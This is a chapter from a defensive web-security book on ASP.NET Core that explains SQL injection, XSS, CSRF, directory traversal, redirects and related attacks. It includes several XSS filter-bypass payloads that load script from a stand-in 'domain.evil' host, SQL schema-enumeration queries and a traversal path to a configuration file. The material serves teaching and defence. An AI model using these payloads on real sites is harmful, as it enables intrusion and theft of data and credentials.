The last thing to talk about before I can dive too deeply into the security aspects of ASP.NET Core is to talk about common web attacks. The focus on this book is meant to be preventing attacks, not teaching you to be a penetration tester, but it will be easier to talk about how to prevent those attacks if we know how those attacks occur.
Before I jump in, though, it is worth taking a moment to define a couple of terms. I’ll use the term “untrusted input” when talking about information you receive from users or third-party systems that may be sending you unsafe information. Any and all untrusted input needs to be scrutinized and/or filtered before using it for processing or display in your app. This is in comparison to “trusted input,” which is information you get from systems you believe will not send you faulty or malicious data. I would recommend treating only systems you have 100% control over as “trusted” and treating everything else as “untrusted,” no matter what the reputation of the sender is, but this may vary depending on your needs and risk tolerance. For now, just think of “untrusted” data as “possibly malicious” data.
To follow along with many of the examples in this chapter, you can download and use the Vulnerability Buffet from this URL: https://github.com/ScottNorberg-NCG/VulnerabilityBuffet. I wrote that website so I had an intentionally vulnerable website against which I could test security scanners (and know what items I wanted the scanners to find, know which findings were false positives, etc.), but it’s a great resource here because it has many different vulnerabilities that can be exploited different ways.
It may help to understand the examples here if you knew that most pages in the website allow you to search for food names and/or food groups, and the site will return basic information based on your search text. But each page has a different vulnerability, and the site tells you how each page is vulnerable.
Many of the examples both in the website and the book use “beef” as the search text. This is not in any way intended as a comment against vegetarians or vegans, instead it is a callout to the Browser Exploitation Framework, a.k.a. BeEF.1 BeEF is a popular, open source tool that helps ethical hackers (and nonethical ones too, I suppose) exploit XSS vulnerabilities.
SQL Injection
Code that is vulnerable to a basic SQL injection attack
You’ll need to know the basics of how ADO.NET works to understand the SQL injection examples in this chapter. ADO.NET is the technology underlying the Entity Framework (and most or all of the other Object-Relational Mappers, or ORMs, out there), and understanding it will help you keep your EF code secure. If you don’t understand these examples and need an introduction to ADO.NET, please read the first few sections of Chapter 8.
Resulting SQL from a query vulnerable to injection attacks
Query with another WHERE condition inserted
- 1.
The attacker entered the word “beef” to make a valid string, but it is not needed here.
- 2.
In order to terminate the string (so the SQL statement doesn’t throw an error), the attacker adds an apostrophe.
- 3.
To include ALL of the rows in the database, not just the ones that match the search text, the attacker added “ OR 1 = 1”.
- 4.
Finally, to cause the database to ignore any additional query text the programmer may have put in, the attacker adds two dashes so the database thinks that that text (in this case, the original ending apostrophe for the food name) is merely a comment.
Login query that is vulnerable to SQL injection attacks
Login query that will always return an administrator (if present)
Of course, once you realize you can inject arbitrary SQL, you can do so much more than merely log in as any user. Depending on how well you’ve layered your security and limited the permissions of the account that the website uses to log into the database, an attacker can pull data from the database, alter data in your database, or even execute arbitrary commands on the server using xp_cmdshell. You’ll get a sense of how in the following sections when I show you some of the different types of SQL injection attacks.
Union Based
Union-based SQL injection attack
Finding the number and format of the columns would take some trial and error on the part of the hacker, but once the hacker figures out the number and format of the columns in the original query, it becomes much easier to pull any data from any table. In this case, the query can pull username and email of all users in the system.
SQL injection without apostrophes
The most important thing to notice here is that the query contains no apostrophes on its own, so any injected code need not include apostrophes to make a valid query. Yes, that does somewhat limit what an attacker can exploit, but an attacker could do a union-based attack against the code in Listing 5-7 to whatever table they want to pull data simply by using the attack text from Listing 5-6 and replacing “%Beef'” with a number.
You may think that hackers won’t want to go through the trouble of trying various combinations in order to come up with something that works. After all, if you look closely at the query that works (in Listing 5-7), I had to know that the Union clause needed eight parameters, the third and fourth need to be strings, and that the remaining need to be integers in order for this attack to work. But you can download free tools that automate most of this work for you. The best one that I know of is called sqlmap,3 and not only is it free, but it is also open source. It is almost as easy to use as pointing sqlmap at your website and telling it to “go find SQL injection vulnerabilities.”
Error Based
The error message states explicitly that “All queries combined using a UNION, INTERSECT, or EXCEPT operator must have an equal number of expressions…”, making it trivially easy for a hacker to know what to try next: more columns in the Union clause.
Long story short, showing SQL errors to the user makes a hacker’s life much easier.
Boolean-Based Blind
For both Boolean-based blind and Time-based blind attacks, blind refers to the hackers’ inability to see the actual results of the SQL query. A Boolean-based blind is a query that is altered to so that an action occurs if the result of the query is true or false.
A query that returns true if a table has a column that starts with the letter “A”
What’s going on in Listing 5-8? This queries SQL Server’s internal table that stores information about columns. The “table_name” column stores table names, and the Where clause searches for column names that start with the letter “A”. If such a column exists, the query returns a valid integer (1) and everything runs as expected. If not, then we return an integer that’s too large, and therefore causes an error.
In short, we make a guess about a column name, and if we don’t guess correctly, the website lets us know by throwing an error.
A query to see if the first column that starts with “A” has a second letter “a”
A query to see if the first column that starts with “A” has a second letter “b”
A query to see if the first column that starts with “A” has a second letter “c”
A query to see if the first column that starts with “Ac” has a third letter “a”
Databases: SELECT [name] FROM sys.databases
Schemas: SELECT [name] FROM sys.schemas
Tables: SELECT [name] FROM sys.tables
Columns: SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
And of course, once you have all of the names of the tables and columns, you can use the same types of queries to pull the data itself.
This may sound like a lot of work, but sqlmap will automate this for you. You just need to put in your target page, tell it what data to pull out, and watch it do the hard work for you.
Query vulnerable to SQL injection
Boolean-based SQL injection looking for column names
This approach is much easier than tweaking a query to return an integer, and can often be automated, either via sqlmap or via a custom script.
Time-Based Blind
A Time-based blind occurs when a hacker causes a delay in the database if their guess is correct. You can do this in SQL Server by using “WAITFOR DELAY”. WAITFOR DELAY can be used to delay the query by a number of hours, minutes, or seconds. In most cases, delaying the query for 5 or 10 seconds would be enough to prove that the query returned true.
Example of a Time-based blind SQL injection attack
Second Order
- 1.
User enters data into the system, which is safely stored into the database.
- 2.
That user, another user, or system process accesses that data at a later time.
- 3.
That data is unsafely added to a SQL script and then executed against the database in a manner similar to the other SQL injection attacks I’ve outlined in this chapter.
This attack is much harder to find than the previous ones, since the page where the user enters the data isn’t the page where that data is used in the vulnerable query. But if found, a hacker can exploit this just as easily as any other type of SQL injection attack.
One more note: SQL Server has a stored procedure called sp_executesql that allows a user to build and execute SQL at runtime. This functionality must be used very cautiously, if at all, because of the risk of a second-order SQL injection attack.
SQL Injection Summary
I’ll save any discussion of fixing these issues for Chapter 8, the chapter on data access. For now, though, know that there are effective solutions to these issues; it’s just easy to overlook them if you don’t know what you’re doing. But I hope you see that SQL injection is a serious vulnerability to pay attention to, and if online articles are any indication, it’s a vulnerability that’s all too often ignored.
Next, let’s talk about another common vulnerability – Cross-Site Scripting, or XSS.
Cross-Site Scripting (XSS)
Notice that I searched for the word “beef” in the query string, and the page says “You searched for: beef”. What happens when I search for “<script>alert(‘hacked’)</script>” instead?
This attack is called a reflected XSS attack because the input is taken directly from the request and immediately reflected back to the browser. Like SQL injection, which has a second-order attack, XSS has an attack based on a stored attack value called persistent XSS. Other than source, reflected and persistent XSS behave basically the same way.
Most of the examples of XSS, both in this book and elsewhere, show reflected XSS, not persistent XSS. This is not because reflected XSS is more dangerous. Certainly, if values passed in via a query string are vulnerable to XSS, then that particular page is a prime target for phishing and spear-phishing attacks. But if such an attack succeeds, only one user is compromised. If a persistent XSS attack succeeds, then every user who visits that page is affected. If that’s a high-traffic page, then most or all of your users could be affected.
As long as I’m making parallels between persistent XSS and second-order SQL injection attacks, I’d like to suggest that second-order SQL injection attacks are actually less damaging than attacks that can be executed right away. This may be a surprise to you if you’re still equating “SQL injection” with the stereotypical “DROP TABLE Users” command, but remember that hackers don’t want to be noticed. They’re less likely to try to damage your site with such a command and are more likely to try to steal your data using the techniques I outlined earlier. Pulling schema out character by character is much easier if you can run a query and get results vs. needing to run two (or more) actions to get your script to run.
XSS and Value Shadowing
Before I move on to some examples that show you different ways of adding JavaScript to a page, there’s something worth mentioning about minimizing the potential damage from a reflected XSS attack. Reflected XSS is harder to exploit when you don’t allow value shadowing . Value shadowing is the term for allowing input to come in from multiple locations. This was common in the ASP.NET Framework because you could look for values using the Request object by simply using Request["VALUE_NAME"]. Such a query would look in the form, query string, and cookies (and possibly more sources). In other words, if I had a form that was vulnerable to value shadowing with two fields, “Username” and “Password,” an attacker would be able to put those two values in the query string and bypass the form entirely.
Why does value shadowing make reflected XSS easier to exploit? Because this allows an attacker to submit whatever information they want by tricking a user by clicking a link with the information in the query string, not in the form, which in turn makes attacks like phishing and spear phishing much easier to pull off. Blocking value shadowing prevents this from happening. We’ll get into more details about this later, but ASP.NET Core has made it harder, but not impossible, for a developer to accidentally put in value shadowing vulnerabilities.
For now, to further your understanding of XSS, let’s dive into ways an attacker can execute their own JavaScript on your page.
Bypassing XSS Defenses
I’ll talk about ASP.NET Core-specific ways to defend against XSS later in the book. However, for right now, to get a better understanding of what different types of XSS attacks can work, it would be worth going through different ways to perform an XSS attack, including ways to get around common defenses.
Bypassing Script Tag Filtering
Replacing a script tag from text to try to prevent XSS
There are several payloads that would allow you to execute an XSS attack that would bypass this defense, but the easiest is to simply make the tag uppercase, like this: <SCRIPT SRC="http://domain.evil/evil.js"></SCRIPT>.
Case-insensitive removal of all <script> tags
There are a number of ways around this, including adding a space before the end bracket of the tag. But you can also add a slash, like this: <script/data="x" src="http://domain.evil/evil.js"></script>. Or, you can embed script tags, like this: <scr<script>ipt src="http://domain.evil/evil.js"</script>, which would allow hackers to add their own scripts because the inner <script> tag would be removed by the Regex.Replace statement, leaving the outer <script> tag intact.
In short, if you absolutely need to use regular expressions to prevent XSS, you will need to think of numerous edge cases, otherwise hackers will almost certainly find a way around your defenses.
Img Tags, Iframes, and Other Elements
XSS payload that bypasses all <script> tag filtering
<body>: Has an “onload” tag. And yes, for some reason browsers will honor nested body tags.
<iframe>: The “src” attribute can be used to load arbitrary scripts and get around most defenses. More details in the following.
<marquee>: I haven’t seen this tag used in more than a decade, but browsers still support both it and the “onstart” action.
<object>: This supports the “onerror” attribute.
<svg>: This supports the “onload” attribute.
<video>: This supports the “onerror” attribute.
This is not a comprehensive list of all tags that could work. As I was writing this chapter, I ran across a tweet on Twitter from a hacker saying that their XSS attack using an <img> tag was blocked by a Web Application Firewall (WAF), but the same attack using an <image> tag instead went through.5 I tried it, and sure enough I was able to run JavaScript in an onerror attribute.
Iframe with encoded script payload
Outdated books and blogs about XSS many contain examples that include JavaScript being run in completely nonsensical places, such as adding something like “javascript:somethingBad()” to the “background” attribute of a table. Be aware that most browsers will ignore things like this now, so there’s one less thing to worry about.
As I mentioned earlier, even if you figure out how to block all new elements, attackers can still add their own script to your website. Let’s dive into examples on how to do that now.
Attribute-Based Attacks
All of the attacks I’ve mentioned so far can be mitigated if you merely HTML encode all of your angle brackets. To do that, you would need to turn all “<” characters into “<” and all “>” characters into “>” and to be protected from all of these attacks. But if you do this, it is still possible to perform an XSS attack. Take, for example, the search scenario I talked about earlier. If you have a search page, you’ll probably want to show the user what they searched for on the page. If you have the text within a <span> tag, then the preceding attacks won’t work. But if you want to keep the text within a text box to make it easy to edit and resubmit, then the user can manipulate the <input> tag to incorporate new scripts.
Inserting XSS into an attribute
In Listing 5-20, the attacker entered “search text”, added a quotation mark to close off the “value” attribute, and then added a new attribute – onmouseover – which executed the hacker’s script.
Hijacking DOM Manipulation
HTML/JavaScript that is vulnerable to DOM based XSS attacks
In Listing 5-21, running a search causes the text you searched for to be added as HTML (not as text) to the SearchedFor span. But worse, this function is called when the page loads. The last thing in the <script> tag is looking in the URL for a parameter called “searchText”, and if found, the page runs the search text with the value in the query string. In this way, the XSS attack can occur without any server-side processing.
Most sources break XSS into three categories: Reflected, Persistent, and DOM based. There is little difference between how others present Reflected or Persistent XSS – these are pretty straightforward. Most books include a third type of XSS: DOM based. DOM based XSS is basically XSS as I’ve outlined in this section – indirectly adding your script to the page by hijacking script that manipulates the DOM. How you execute the script is different from how you get the script to the page, and mixing them is confusing, so I’ve presented things a bit differently here. If you read another book, or talk to others, expect them to think about three categories of XSS, rather than just two categories with three different methods of execution.
JavaScript Framework Injection
Code vulnerable to Framework Injection (AngularJS)
If an attacker is able to enter “{{alert()}}” as the SearchText in the code in Listing 5-22, the page will be rendered with that text, which will be interpreted by the AngularJS engine as text to interpret.
ASP.NET generally does a good job of preventing XSS attacks. It does not do anything to protect against this type of JavaScript framework injection, so take a special note of this type of XSS.
Third-Party Libraries
If you are utilizing an external provider for your script (usually via a Content Delivery Network, or CDN, such as if you pulled your jQuery from Microsoft using a URL that looks like this: https://ajax.aspnetcdn.com/ajax/jQuery/jquery-3.4.1.min.js), a hacker could replace the content provider’s copy of the JavaScript file with one of their own, except including some malicious script within the file. Remember, content providers are not immune from hacking.
If you download a JavaScript library, the library creator may have included malicious scripts in the download. This can happen if a hacker manages to add their own code to the download as with the previous example, or they might create the entire library themselves with the intent that you download and then use the file.
If you’re using one of the most popular third-party libraries, you’re mostly safe since these take their security pretty seriously. But there are techniques to tell the browser to check the integrity of these files which I’ll show you later in the book.
Consequences of XSS
I’ve generally stayed away from, and will continue staying away from, going into depth on exploiting vulnerabilities. But I would like to take a minute to go into some of the possible consequences of an XSS attack to give you an idea what a serious vulnerability it is.
Pull information about the user’s system (operating system, browser, screen size, etc.)
Redirect the user to a page of the hacker’s choice
Replace content on the page with content of the hacker’s choice
Detect software installed on the machine
Run a scan of the user’s network
Check to see which social networks the user is logged into
Attempt to hack into your router
Attempt to hijack your webcam
And my personal favorite: get a Clippy lookalike to ask if you want to update your browser, and then if the user clicks Yes, send a virus instead of a browser update
You may have known already (or could have guessed) that XSS could be used to deface websites or steal information about the browser, but run network scans or hack your router? Yes, XSS is a serious vulnerability.
Another thing BeEF will help you do is submit requests, without the knowledge or consent of the user, on behalf of that user performing certain actions. Want to know how? Read on!
Cross-Site Request Forgery (CSRF)
Very simple CSRF attempt
- 1.
User sees a link (either in an email or in a malicious site) that says “Win a FREE iPad!!!”
- 2.
User clicks the link, which sends a request to bank.com to transfer $1,000 over to the hacker’s bank account.
- 1.
User must already be logged in. If they are, the browser may automatically send the authentication tokens along with the request.
- 2.
Site allows GET requests to make such a sensitive operation. This can happen either because the web developer mistakenly allowed GET requests or allowed value shadowing.
- 3.
User clicks the link to start the process.
CSRF without user intervention
Simple CSRF attempt via a form
Skipping user intervention would be relatively easy here too. You could just write some JavaScript that submits this form when the page is done loading. (I’ll leave it to you to write that code if you really want it.)
Bypassing Anti-CSRF Defenses
The best way to stop CSRF attacks is to prove that any POST came as a result of the normal flow a user would take. That is, any POST follows a GET because the user requests a page, fills out a form, and then submits it. The hard part about this is that since Web is stateless, where do you as a developer store the token so you can validate the value you got back? In other words, you as a developer have to store the token somewhere so you can validate what the user sends back. Storing the token within session or the database is certainly an option, but this requires a relatively large amount of work to configure.
Enter the Double-Submit Cookie Pattern. The Double-Submit Cookie Pattern says that you can store the token in two places: within the form in a hidden field, and also within a cookie or other header. The theory is that if the form field and the header are the same, and the headers aren’t accessible to the hacker and therefore they couldn’t see the cookie, then the request must have been in response to a GET.
In this case, the cookie would need to be added using the httponly attribute, which hides it from any JavaScript the hacker might use to look for the cookie and return it.
Here is the problem: as long as the hacker knows what the cookie name is – which they can get by submitting a form and examining the traffic in a “valid” request – they can pull the value from the hidden field, add the cookie, and then submit the form. In this case, the server sees that the values are the same and thinks that the request is valid.
Luckily for us, .NET does something a bit more sophisticated than this, making it much tougher to pull off a CSRF attack. We’ll cover that, and how the CSRF protection could be made even better, later in the book.
Operating System Issues
True operating system security is a field of study in and of its own. There are plenty of sources that will tell you how to secure your favorite operating system. What I want to focus on instead are the attacks to the operating system that are typically done through websites.
Directory Traversal
Front end for a page vulnerable to Directory Traversal attacks
The page in Listing 5-26 allows users to select an item on the drop-down list, which sends a filename back to the server. The controller method takes the content of the file and adds it to @ViewBag.FileContents.
Controller method for page vulnerable to Directory Traversal attacks
On the surface, you might assume that this code only takes the file name, and looks for a file with that name in a particular folder on the server, reads the content, and then adds the content to the page. But remember that “..” tells the file path to move up a file. So, what happens, then, if an attacker sends “....appsettings.json” instead of one of the drop-down choices? You guessed it, the attacker can see any settings you have in the configuration, including database connection strings and any other secrets you might have in there.
Beyond reading the configuration file, it’s not too hard to imagine an attacker attempting to put even more instructions to move up a folder, then getting into C:windows to read all sorts of files on your server.
Remote and Local File Inclusion
Remote File Inclusion (RFI) and Local File Inclusion (LFI) are both similar to Directory Traversal in that the attacker is able to find a file on your server. Both RFI and LFI take it a step further and occur when a hacker is able to execute files of their choosing on your server. The main difference is that LFI involves files that are already on your server, where RFI involves files that have been uploaded to your server.
If you look for examples of either of these online, you will likely find many more examples of this vulnerability in PHP than in .NET. There are a number of reasons for this, including the fact that PHP is a more popular language than .NET, but it is also because this attack is easier to pull off in PHP than .NET. You should be aware of it, though, because you might well be calling external apps using a batch script or PowerShell, either of which might be hijacked to execute code if written badly.
OS Command Injection
Another attack is operating system command injection, which as you might guess is a vulnerability in which an attacker can execute operating system commands against your server. Like RFI, this is easier to pull off in less secure languages than in .NET, but be extremely careful in starting any process from your website, especially if using a batch or PowerShell script.
File Uploads and File Management
Denial of Service : If you allow for large file uploads, it’s possible that an attacker might attempt to upload a very large file that the server can’t handle, bringing down your website.
LFI: Being able to upload malicious files to your server leads to a much more serious vulnerability if the attacker is then able to use or execute that file.
GIFAR : A GIFAR is a file that is both a valid GIF and a valid JAR (Java Archive), and 10 years ago, attackers were able to use a GIFAR to steal credentials.8 Since then, attackers have been able to combine other file types,9 making it easier for attackers to bypass some defenses.
Fortunately, there are some ways to mitigate some of these attacks, which I’ll show you later in the book.
There is another problem with file uploads that isn’t an attack per se, but is something to watch out for. Before I got smart and stored files on a different server, I had websites go down because the drive ran out of space because I didn’t pay attention to the number of files being uploaded. Yes, plural “websites” intended. So, do keep your files on a different server than your web server, and do keep track of how much space you have left. It is not fun trying to get onto a server that is out of space when your website is down.
Other Injection Types
Once you’ve seen how injection works, it’s easy to imagine how one could inject code into other languages as well, such as XML, XPath, or LDAP. XML External Entities, or XXE, which I covered in the last chapter, could be considered another type of injection. I won’t get into any more examples here, but I hope you get the idea.
Clickjacking
I touched upon this very briefly in Chapter 4 when talking about headers, but attackers can load your site within an <iframe> in theirs and then hide it with a different user interface. For example, let’s say I wanted to spam your website with links to buy my book. I’d create a website that had a UI on top of yours, and covering your “Comment” button I could put a button that says “Click here to win a free iPad!”. Users clicking the link would think that they’re entering a contest, but instead they’re clicking a button on your website that posts a comment with a link to buy my book.
Unvalidated Redirects
- 1.
The user attempts to view a page that requires authentication, such as www.bank.com/account.
- 2.
The app sees that the user is not logged in, so redirects the user to the login page, appending “?returnUrl=%2Faccount” to the end of the URL.
- 3.
The user enters their username and password, which are verified as valid by the server.
- 4.
The server redirects the user to “/account” so that person can continue with what they were trying to do.
- 1.
An attacker sends a phishing email out to a user, saying that their bank account has an issue, and they need to click the link in the email to verify their account immediately.
- 2.
The user, educated in phishing attacks, looks at the URL to verify that the bank domain is correct (but ignores the query string) and clicks this URL: https://bank.com/login?returnUrl=https://benk.com/login.
- 3.
The user logs into their account and then is redirected to https://benk.com/login, which at a quick glance looks exactly like their login page.
- 4.
Figuring there was just some weird glitch in the login process, the user logs into the fake “benk.com” website, giving the hacker the user’s username and password for their bank account.
- 5.
The hacker’s site then redirects the user back to the correct bank site and, since the user correctly logged in during step 3, can view their account without any problems.
This attack was brought to you by unvalidated redirects. You should never blindly accept user input and simply redirect the user to that page without any checks or protections, or you leave your users open to phishing attacks (or worse).
Session Hijacking
- 1.
Session or user tokens are sequential and/or easy to guess.
- 2.
Session or user tokens are stored in the query string, making it easy for hackers to hijack a different user’s session via a phishing attack.
- 3.
Session or user tokens are reused.
ASP.NET doesn’t use tokens that are easy to guess and they store their tokens with secure cookies, so neither of the first two problems apply. User tokens are specific to the user, and session tokens are generated in such a way to make them tough to recreate, so there’s no problem here, right?
Unfortunately, as you’ll recall from the last chapter and see in later chapters, there are some fairly large problems with how ASP.NET handles both session and user tokens. You could probably get away with the default user token handling mechanism for sites that don’t store a significant amount of sensitive information; you will want something more robust if you are storing PII, PAI, or PHI.
I’ll show you how user token handling is not secure in ASP.NET, and how to fix it, later on. But session handling in ASP.NET Core is even worse. Session tokens are created per browser session, not per user session. What does that mean? If one user logs into your site, generates a session, and then logs out, then a second user logs into the site (or not, logging in is not strictly necessary) and will have access to any and all session data stored for the first user. I’ll show you how to fix this later in the book, but in the meantime, don’t store any sensitive data in session. Ever.
Security Issues Mostly Fixed in ASP.NET
- 1.
You may need to create your own version of some built-in feature for some exotic feature, and you should know about these vulnerabilities to avoid them.
- 2.
In Chapter 9, I’ll show you how ASP.NET ignores most of these attacks. On the one hand, if these attacks are ignored, then they won’t succeed. But on the other hand, shouldn’t you want to know if someone is trying to break into your site?
Verb Tampering
Up until now, when talking about requests, I’ve been referring to one of two types: a GET or a POST. As I mentioned briefly earlier, there are several other types available to you. Older web servers would have challenges handling requests with unexpected verbs. As one common example, a server might enforce authentication when running a GET request, but might bypass authentication when running the same request via a HEAD.10 I am unaware of any exploitable vulnerabilities ASP.NET related to verb tampering, though.
Response Splitting
- 1.
An attacker submits a value that they know will be put into your header (usually a cookie) that includes the carriage return/line feed characters, sets the Content-Length, and whatever content they desire.
- 2.
You add these values to the cookie, which adds them to the header.
- 3.
The user sees the hacker’s content, not yours.
Hypothetical response splitting attack response
I tried to introduce the vulnerability seen in Listing 5-28 into ASP.NET Core for the Vulnerability Buffet, but found that I had to have my own modified copy of Kestrel to do so. This shouldn’t be something you should need to worry about, unless you modify Kestrel. (And please don’t do that.)
Parameter Pollution
Parameter pollution refers to a vulnerability in which an application behaves in unexpected ways if unexpected parameters, such as duplicated query string keys, are encountered by the web server. Imagine a scenario in which deleting a user could be done in a URL like this one: https://your-site.com/users/delete?userId=44. If your site is vulnerable to parameter pollution, if an attacker is able to append to this URL, they could do something like this: https://your-site.com/users/delete?userId=44&userId=1, and get you to delete the user with an ID of “1”.
By default, when ASP.NET encounters this situation, it keeps the first value, which is the safer route to go. A better solution would be to fail closed reject the request entirely as possibly dangerous, but for now we’ll need to settle for the adequate solution of accepting the first value only.
Business Logic Abuse
The last topic I’ll cover in this chapter is business logic abuse. Business logic abuse is a tough topic to cover in a book, because it not only encompasses a wide range of issues, but most of these issues are specific to a specific web application. We’ve talked about some of these issues before, such as making sure you don’t store private information in hidden fields or not expecting users to change query strings to try to get access to objects that aren’t in their list. There are also others, such as not enforcing a user agreement before letting users access your site or allowing users to get around page view limits that are tracked in cookies by periodically deleting cookies.
Beyond saying “don’t trust user input,” the best thing you can do here is hire someone to try to hack into your website to try to find these issues. I’ll give you some rough guidelines on what to look for in an external penetration tester later on because there are a lot of less-skilled or unethical penetration testers out there.
Summary
In this chapter, I took a deep dive into attacks that can be done against your website, with the idea that the better you understand how attacks work the better you will be able to design defenses against them.
You now should have a solid knowledge of website security. While there’s always more to learn, you’re now ready to start learning about implementing defenses for these attacks in your website.